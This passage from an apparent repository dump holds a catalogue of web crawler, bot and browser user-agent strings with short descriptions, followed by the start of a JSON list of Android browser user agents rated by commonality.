(China),VMBot/0.x.x (VMBot; http://www.VerticalMatch.com/; vmbot@tradedot.com)\nVortex Web Indexing Robot for a study on  internet link distribution,Vortex/2.2 (+http://marty.anstey.ca/robots/vortex/)\n\"Kosmix health, auto and travel search crawler (204.14.48.x / 38.113.234.xxx)\",voyager-hc/1.0\n\"Kosmix health, auto and travel search crawler (204.14.48.x / 38.113.234.xxx)\",voyager/1.0\n\"Kosmix health, auto and travel search crawler (204.14.48.x / 38.113.234.xxx)\",voyager/2.0 (http://www.kosmix.com/html/crawler.html)\nVivisimo search crawler (206.210.89.xxx),VSE/1.0 (testcrawler@hotmail.com)\nVivisimo search crawler (206.210.89.xxx),VSE/1.0 (testcrawler@vivisimo.com)\nVerity vspider indexing software,vspider\nVerity vspider indexing software,vspider/3.x\nVWBot - MetaQuerier Crawler for the MetaQuerier project at the University of Illinois,VWBOT/Nutch-0.9-dev (VWBOT Nutch Crawler; http://vwbot.cs.uiuc.edu;+vwbot@cs.uiuc.edu\nW3C Link Checker,W3C-checklink/3.x.x.x libwww-perl/5.xx\nW3C Link Checker,W3C-checklink/4.x [4.xx] libwww-perl/5.xxx\nWebCon - the Libwww command line tool,W3C-WebCon/5.x.x libwww/5.x.x\nW3C Line Mode (character based Web browser),W3CLineMode/5.4.0 libwww/5.x.x\nUnknown link checking using Libwww via Korea Telecom (221.148.44.xxx),W3CRobot/5.4.0 libwww/5.4.0\nW3C HTML-Code Validator,W3C_Validator/1.xxx libwww-perl/5.xx\nw3m Linux pager / text-based browser,w3m/0.x.xx\nW3 Site Search (Germany) search engine solution,W3SiteSearch Crawler_v1.1 http://www.w3sitesearch.de\nWadain (Japan) Blog / RSS search crawler,wadaino.jp-crawler 0.2 (http://wadaino.jp/)\nWanna-Be text mode browser,WannaBe (Macintosh; PPC)\nWapOnWindows WAP browser for PCs,WapOnWindows 1.0\nWatchfire WebXM intranet solution,Watchfire WebXM 1.0\nWAVcheck - Simple Vendor Discovery Tool for detecting client-side tags from web analytics vendors,WAVcheck 1.0.x (http://www.webbanalys.se/apps/WAVcheck/)\nWavefire local search community engine (64.141.15.1xx),Wavefire/0.8-dev (Wavefire; http://www.wavefire.com; info@wavefire.com)\nWaypath blog discovery engine robot,Waypath development crawler - info at waypath dot com\nWaypath blog discovery engine robot,Waypath Scout v2.x - info at waypath dot com\nWDG HTML-code validator,WDG_Validator/1.1\nDatafire.com's Web Image Collector (graphics downloading tool),Web Image Collector\nRelsoft link checking software,Web Link Validator 1.5\nRankMeter ranking software,Web Snooper\nWeb-bekannt German web directory link checking,\"web-bekannt (Version: 1.02, powered by www.internetservice-franken.de)\"\nWeb-bekannt German web directory link checking,\"web-bekannt (Version: 1.02, powered by www.web-bekannt.de)\"\nUnkown link or server checking from Würzburg University Germany (132.187.10.xx),Web-Bot V1.03\nUnknown robot from 69.50.233.x (nectartech.com),Web-Robot/5.0 (en-US; web-robot.com/policy.html) Web-Robot Crawler/2.0.3\nWeb2Express / Web2x - Open data searching tool,web2express.org/Nutch-0.9-dev (leveled playing field; http://web2express.org/; info at web2express.org)\nWebAlta search Russia crawler (85.21.201.xx),WebAlta Crawler/1.2.1 (http://www.webalta.ru/bot.html)\nWebarooBot / RufusBot from webaroo offline search service,WebarooBot (Webaroo Bot; http://64.124.122.252/feedback.html)\nWebarooBot / RufusBot from webaroo offline search service,WebarooBot (Webaroo Bot; http://www.webaroo.com/rooSiteOwners.html)\nYanasoft WebAuto website copier / downloading tool,WebAuto/3.4xxx (WinNT; I)\nWeb Bandit personal search software,webbandit/4.xx.0\nAmansoft WebBug web server protocol test,WebBug/5.x\nWebClipping.com - online news monitoring service,Webclipping.com\nWebCollage Syndicator graphics crawler/collector,webcollage/1.xx\nQuarterdecks WebCompass search tool,WebCompass 2.0\nWebCopier offline browser,WebCopier vx.x\nWebCopier offline browser,WebCopier vx.xa\nWebCorp linguistic search engine (UK),WebCorp/1.0\nWebcrawl Search robot (64.40.105.xxx),webcrawl.net\nUnix/Linux Web Downloader,WebDownloader for X x.xx\nUnknown robot from china-netcom.com,Webdup/0.9\nWingFlyer WebFetch website downloading tool,WebFetch\nwebfetch - command line tool to fetch files via HTTP,webfetch/5.x.x\nVerso NetSpective WebFilter,WebFilter Robot 1.0\nTelemate.net NetSpective WebFilter,WebFilter Robot 1.x\nWebfind search robot,WebFindBot(http://www.web-find.com)\nWebglimpse search engine software,Webglimpse 2.xx.x (http://webglimpse.net)\nwebGobbler - Online random image generator,webGobbler/1.x.x\nfake ?,webhack\nherbert.groot.jebbink.nl Web Images collage generator,WebImages 0.3 ( http://herbert.groot.jebbink.nl/?app=WebImages )\nWebLight web analyzer & link checker,WebLight/4.x.x (support@illumit.com; http://www.illumit.com/Products/weblight/)\nWebLink's link management system for HTTP- FTP and Mail hyperlinks,Weblink's checker/\nLos Alamos National Laboratoy weblog research project,Weblog Attitude Diffusion 1.0\nUnknown robot from Leipzig University (Germany) faculty for computer science,\"webmeasurement-bot, http://rvs.informatik.uni-leipzig.de\"\nWebMiner bulk file downloader,WebMiner/x.x [en] (Win98; I)\nWeBoX (Japan) - Browser and web collector,WeBoX/0.xx\nWebPix - picture downloading tool,WebPix 1.0 (www.netwu.com)\nCaesius WebQL - Custom robot/agent generator / web extraction software,WebQL\nWebRACE - HTTP retrieval- annotation and caching engine,WebRACE/1.1 (University of Cyprus- Distributed Crawler)\nWebRankSpider experimental web crawler,WebRankSpider/1.37 (+http://ulm191.server4you.de/crawler/)\nWebreaper download manager,WebReaper vx.x - www.webreaper.net\nWebreaper download manager,WebReaper [info@webreaper.net]\nWebreaper download manager,WebReaper [webreaper@webreaper.net]\nWebsearch Australia robot,WebSearch.COM.AU/3.0.1 (The Australian Search Engine; http://WebSearch.COM.AU; Search@WebSearch.COM.AU)\nDortmund University WebSearchBench - Open source search software,WebSearchBench WebCrawler v0.1(Experimental)\nDortmund University WebSearchBench - Open source search software,WebSearchBench WebCrawler V1.0 (Beta)- Prof. Dr.-Ing. Christoph Lindemann- Universität Dortmund- cl@cs.uni-dortmund.de- http://websearchbench.cs.uni-dortmund.de/\nWeb site downloading tool and offline browser (Japan),Website Explorer/0.9.x.x\nWebsite eXtractor web site downloading tool,Website eXtractor\nSootle web directory Website Worth ranking tool,WebsiteWorth v1.0\nWebspinne.de robot,Webspinne/1.0 webmaster@webspinne.de\nWebsquash.com Search Engine robot / link checking,Websquash.com (Add url robot)\nWebStat - Java statistical computing environment for the web,WebStat/1.0 (Unix; beta; 20040314)\nWebster - Rev. Healeys web crawler,Webster v0.3 ( http://webster.healeys.net/ )\nWebsters Webmaster Archive (Germany) submission / pad checking,webster-internet.de pad browser\nWebStripper download manager,WebStripper/2.xx\nWebTrafficExpress IBM server software,WebTrafficExpress/x.0\nWeb Trends link analyzer,WebTrends/3.0 (WinNT)\nThe Stanford WebBase Project crawler,WebVac (webmaster@pita.stanford.edu)\nwebval - Python link checking tool,WebVal/1.0\nWebverzeichnis.de (Germany) directory robot,Webverzeichnis.de - Telefon: 01908 / 26005\nWeb Vulnerability Crawler,WebVulnCrawl.unknown/1.0 libwww-perl/5.803\nStudio Net.Idea's Web Watcher Monitor robot,WebWatcherMonitor/2.01\nWebZip offline browser,WebZIP/x.x (http://www.spidersoft.com)\nUnknown spam bot / harvester (62.163.**.** / 62.194.**.*),Wells Search II\nSome spam bot- see link,WEP Search 00\nwwIPStuff - Internet client tools for Visual FoxPro,West Wind Internet Protocols 4.xx\nIBM's Almaden Research robot (Clever search project),WFARC\nGNU wget - file downloader,Wget/1.x(.x)GNU wget http://www.gnu.org/software/wget/wget.html - file downloader\nGNU wget - file downloader,Wget/1.x+cvs-stable (Red Hat modified)\nGNU wget - file downloader,Wget/1.x.x+cvs\nWhatsup Gold network monitor,Whatsup/x.x\nWhatUSeek / Chubba robot,whatUseek_winona/3.0\nWhizBang! Labs (closed since May 2002) information extraction robot,WhizBang! Lab\nsome download agent,Wildsoft Surfer\nTwotrees crawler,Willow Internet Crawler by Twotrees V2.1\nunknown robot from gw.ocg-corp.com (209.126.176.x),WinampMPEG/2.00 (larbin@unspecified.mail)\nSuper Affiliate Tracker agent by Wincer Song,WincerSong Agent v1.0\nWindows Media Player 10,Windows-Media-Player/10.00.00.xxxx\nNicksoft WinGet download manager,WinGet 1.1\nExample code for a WinHTTP C++ library crawler,WinHTTP Example/1.0\nWink beta search robot (64.13.136.x),WinkBot/0.06 (Wink.com search engine web crawler; http://www.wink.com/Wink:WinkBot; winkbot@wink.com)\nWinPodder - Podcast player and RSS reader,WinPodder (http://winpodder.com)\nWinWap - Windows PC WAP browser,WinWAP/3.x (3.x.x.xx; Win32) (Google WAP Proxy/1.0)\nYammba web directory (Germany) link checking,\"Wir sind die Borg (Version: 1.03, Sie wurden Assimiliert +http://www.yammba.com/suchmaschine/bot.html)\"\nWIRE crawler used by the University of Pisa - Italy,\"WIRE/0.11 (Linux; i686; Bot,Robot,Spider,Crawler,aromano@cli.di.unipi.it)\"\nWIRE - Web information retrieval environment crawler,\"WIRE/0.x (Linux; i686; Bot,Robot,Spider,Crawler)\"\nKorea Wisenut robot,WISEbot/1.0 (WISEbot@koreawisenut.com; http://wisebot.koreawisenut.com)\nWisewire domain checker (Discontinued),WiseWire-Spider2\nWISH academic research project for link checking,wish-project (http://wish.slis.tsukuba.ac.jp/)\nWordchamp web page vocabulary / translation robot,WordChampBot\nWordPress personal Blog publishing platform,WordPress/x.x.x.x PHP/4.x.xx\nWORIO (beta) search for computer scientists and programmers using Heritrix open-source crawler,worio heritrix bot (+http://worio.com/)\nWORIO (beta) search for computer scientists and programmers via Amazon Web Services,woriobot ( http://www.worio.com/)\nEntireweb Search robot (62.13.25.xxx),WorldLight\nunknown link checking (from 4.18.57.126) ?,WorQmada/1.0\nWotbox spider,Wotbox/alpha0.6 (bot@wotbox.com; http://www.wotbox.com)\nWotbox spider,Wotbox/alpha0.x.x (bot@wotbox.com; http://www.wotbox.com) Java/1.4.1_02\nWebSearchBench crawler from Dortmund University- Germany,WSB WebCrawler V1.0 (Beta)- cl@cs.uni-dortmund.de\nWebSearchBench crawler from Dortmund University- Germany,\"WSB, http://websearchbench.cs.uni-dortmund.de\"\nWUME Lab's web crawler (128.180.121.xxx),wume_crawler/1.1 (http://wume.cse.lehigh.edu/~xiq204/crawler/)\nWusage log-file analysis,Wusage/x.0@boutell.com\nWWLib - Wolverhampton Univerity Web Library for classifying web documents,Wwlib/Linux\nWWSBOT web server version checker,WWSBOT 1.x [--- http://www.analyzer.nu ---]\nPerl web page fetching module,WWW-Mechanize/1.1x\nArianna robot,www.arianna.it\nBusiness-Socket.com link checking ?,www.business-socket.com registry verify/1.x\nThe DoWeb UK Business directory link checking,www.doweb.co.uk crawler\nwww4mail - web navigation & database search by e-mail,www4mail/2.x libwww-FM/2.14 (Unix; I)\nWWWC Updating check of Web pages. (Japanese only),WWWC/1.0x\nWorld Wide Weasel Germany robot,WWWeasel Robot v1.00 (http://wwweasel.de)\nWWWoffle download manager,WWWOFFLE/2.x\nUnknown robot from CIS at Munich University,wwwster/1.x (Beta- mailto:gue@cis.uni-muenchen.de)\nwxDownload Fast (wxDFast) open source download manager,wxDownload Fast\nArexera (Germany) crawler software,X-Crawler \nXaldon WebSpider offline browser,Xaldon WebSpider\nXenu link checker,Xenu Link Sleuth 1.xx\nXenu link checker,Xenu's Link Sleuth 1.x[a-z]\nXerKa text mining and information retrieval software,Xerka WebBot v1.0.0 [UPVOpenDir]\nxine - free Linux / OS/2 multimedia player,xine/1.0\nXIRQ search (beta) robot (70.86.206.1xx),xirq/0.1-beta (xirq; http://www.xirq.com; xirq@xirq.com)\nGPath / XMLSlurp - Expression language for tree structured data,XMLSlurp/0.1 libwww-perl/5.805\nMetamark URL Shorten Service,XRL/2.00b1 (Linux; i686; en-us) (+http://metamark.net/about)\nXylix Retrieval System software,Xylix\nInria Crawler,xyro_(xcrawler@cosmos.inria.fr)\nYahoo Search Japan robot (211.14.8.2xx),Y!J-BSC/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html)\nYahoo Search Japan robot (203.216.197.xxx),Y!J-SRD/1.0\nYahoo Search Japan robot (211.14.8.2xx),Y!J/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html)\nYahoo picture service for mobiles,Y!OASIS/TEST no-ad Mozilla/4.08 [en] (X11; I; FreeBSD 2.2.8-STABLE i386)\nY!TunnelPro - Yahoo! Messenger companion user agent,Y!TunnelPro\nYacy distributed P2P web search engine robot,yacy (www.yacy.net; v20040602; i386 Linux 2.4.26-gentoo-r13; java 1.4.2_06; MET/en)\nYacy distributed P2P web search engine robot,yacybot (x86 Windows XP 5.1; java 1.5.0_06; Europe/de) yacy.net\n(Yahoo) Pipes interactive data aggregator robot,Yahoo Pipes 1.0\nYahoo Mindset: Intent-driven Search (66.228.182.1xx),Yahoo! Mindset\nYahoo blog indexing robot (209.191.83.1xx),Yahoo-Blogs/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html )\nYahoo multimedia crawler (206.190.43.xx),Yahoo-MMAudVid/1.0 (mms dash mmaudvidcrawler dash support at yahoo dash inc dot com)\nYahoo multimedia crawler,Yahoo-MMAudVid/2.0(mms dash mm aud vid crawler dash support at yahoo dash inc.com ;Mozilla 4.0 compatible; MSIE 7.0;Windows NT 5.0; .NET CLR 2.0)\nYahoo multimedia crawler via Fastsearch.net (66.77.73.xx),Yahoo-MMCrawler/3.x (mm dash crawler at trd dot overture dot com)\nYahoo Search robot,Yahoo-Test/4.0\nYahoo crawler via Overture (66.77.73.3x),Yahoo-VerticalCrawler-FormerWebCrawler/3.9 crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler\nYahoo Publisher Network RSS crawler,YahooFeedSeeker/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://publisher.yahoo.com/rssguide)\nYahoo Product Search crawler ( 68.142.195..x),YahooSeeker-Testing/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/)\nYahoo Product Search crawler ( 66.196.93.x),YahooSeeker/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/shop/merchant/)\nYahoo Product Search crawler ( 66.196.93.x),YahooSeeker/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/yahooseeker.html)\nYahoo Product Search crawler ( 66.196.93.x),YahooSeeker/1.1 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/shop/merchant/)\nYahoo Product Search crawler ( 68.142.195..x),YahooSeeker/bsv3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html )\nYahoo robot,YahooSeeker/CafeKelsa-dev (compatible; Konqueror/3.2; FreeBSD ;cafekelsa-dev-webmaster@yahoo-inc.com )\nYandex Search Russia link checking (213.180.206.2xx),Yandex/1.01.001 (compatible; Win16; I)\nYanga search robot by Gigabase (Russian Federation),Yanga WorldSearch Bot v1.1/beta (http://www.yanga.co.uk/)\nYarienavoir search (Belgium) robot,yarienavoir.net/0.2\n1noon.com search Korea robot (222.231.21.xxx),Yeti\n1noon.com search Korea robot (222.231.21.xxx),\"Yeti/0.01 (nhn/1noon, yetibot@naver.com, check robots.txt daily and follows it)\"\nNaver search (Korea) robot,Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/)\nyggdrasil spider for GoPubMed biorelated search engine,yggdrasil/Nutch-0.9 (yggdrasil biorelated search engine; www dot biotec dot tu minus dresden do de slash schroeder; heiko dot dietze at biotec dot tu minus dresden dot de)\nYodao search (China),YodaoBot/1.0 (http://www.yodao.com/help/webmaster/spider/; )\nYoono - community based search (193.110.140.xxx / 194.0.179.[x]xx),yoofind/yoofind-0.1-dev (yoono webcrawler; http://www.yoono.com ; MyEmail)\nYoogli search (under development) agent,yoogliFetchAgent/0.1\nYoono - community based search (193.110.140.xxx / 194.0.179.[x]xx),yoono/1.0 web-crawler/1.0\nYottaCars bot - YottaCar car search engine ( 64.62.175.xxx),YottaCars_Bot/4.12 (+http://www.yottacars.com) Car Search Engine \nYottaShopping bot - YottaShopping search engine ( 64.62.175.xxx) ,YottaShopping_Bot/4.12 (+http://www.yottashopping.com) Shopping Search Engine\nY!TunnelPro - Yahoo! Messenger companion user agent,YTunnelPro\nZ-Add online link checker,Z-Add Link Checker (http://w3.z-add.co.uk/linkcheck/)\nZao crawler for Kototoi Project,Zao-Crawler\nZao crawler for Kototoi Project,Zao-Crawler 0.2b\nZao crawler for Kototoi Project,Zao/0.1 (http://www.kototoi.org/zao/)\nZeus Internet Marketing Robot based on Webster Pro component,ZBot/1.00 (icaulfield@zeus.com)\nZearchit German search / directory,Zearchit\nZe.bz Moteur de Recherche robot,ZeBot_lseek.net (bot@ze.bz)\nZe.bz Moteur de Recherche robot,ZeBot_www.ze.bz (ze.bz@hotmail.com)\nZedZo Search (beta) robot,zedzo.digest/0.1 (http://www.zedzo.com/)\nZend PHP frameworks Zend_Http_Client component,Zend_Http_Client\nPowerset Natural Language Search crawler (under development) using Heritrix via Amazon Web Services,\"zermelo Mozilla/5.0 compatible; heritrix/1.12.1 (+http://www.powerset.com) [email:crawl@powerset.com,email:paul@page-store.com]\"\nZerx search robot ?,zerxbot/Version 0.6 libwww-perl/5.79\nZeus Internet Marketing Robot (based on Webster Pro),Zeus ThemeSite Viewer Webster Pro V2.9 Win32\nZeus Internet Marketing Robot (based on Webster Pro),Zeus xxxxx Webster Pro V2.9 Win32\nZeusbot robot for building the Ulsysseek.com index,Zeusbot/0.07 (Ulysseek's web-crawling robot; http://www.zeusbot.com; agent@zeusbot.com)\nUnknown agent (server- or link checking ?) from 198.173.158.xx,Ziggy -- The Clown From Hell!!\nZipp.net web search robot,ZipppBot/0.xx (ZipppBot; http://www.zippp.net; webmaster@zippp.net)\nZipp.net web search robot,ZIPPPCVS/0.xx (ZipppBot/.xx;http://www.zippp.net; webmaster@zippp.net)\nZippyfinder robot,Zippy v2.0 - Zippyfinder.com\nMicrosoft Zoo Tycoon 2 game client,Zoo Tycoon 2 Client -- http://www.zootycoon.com\nZoom Search Engine software spider,ZoomSpider - wrensoft.com\n collecting for machine learning; http://zscho.de/ ),Zscho.de Crawler/Nutch-1.0-Zscho.de-semantic_patch (Zscho.de Crawler\nzspider robot for a new search engine,zspider/0.9-dev http://feedback.redkolibri.com/\nWisenut robot,ZyBorg/1.0 (ZyBorg@WISEnut.com; http://www.WISEnut.com)\nFM Scene soccer fan pages plugin,Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)\nPrevX security plugin,Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)\n"
  },
  {
    "path": "User Agents/json/android-browser.json",
    "content": "[{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; pt-br; MZ608 Build\\/7.7.1-141-7-FLEM-UMTS-LA) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.4; WT19M-FI Build\\/KTU84Q)\"},{\"commonality\":\"Common\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.0.4; opensign_x86 Build\\/IMM76L)\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.1; en-us; MID Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LG-L38C Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.0\\/1.2\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217S Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.3.1; WT19M-FI Build\\/JLS36I)\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.4; WT22M-FI Build\\/KTU84Q)\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I915 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build\\/IML74K) AppleWebkit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build\\/FRF91) App3leWebKit\\/53.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LGMS500 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-in; Micromax A87 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I467 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5210 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-S738C Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LGMS769 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; ZTE V768 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Common\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-US; B1-710 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M830 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SM-T210R Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; C5170 Build\\/IML77) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; SCH-I800 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M840 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I497 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Huawei Y301A1 Build\\/HuaweiY301A1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SGH-T999L Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; 0PCV1 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-N8013 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-P3113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SM-T310 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; EVO Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SGH-I747 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SPH-L710 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LGL35G\\/V100) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile 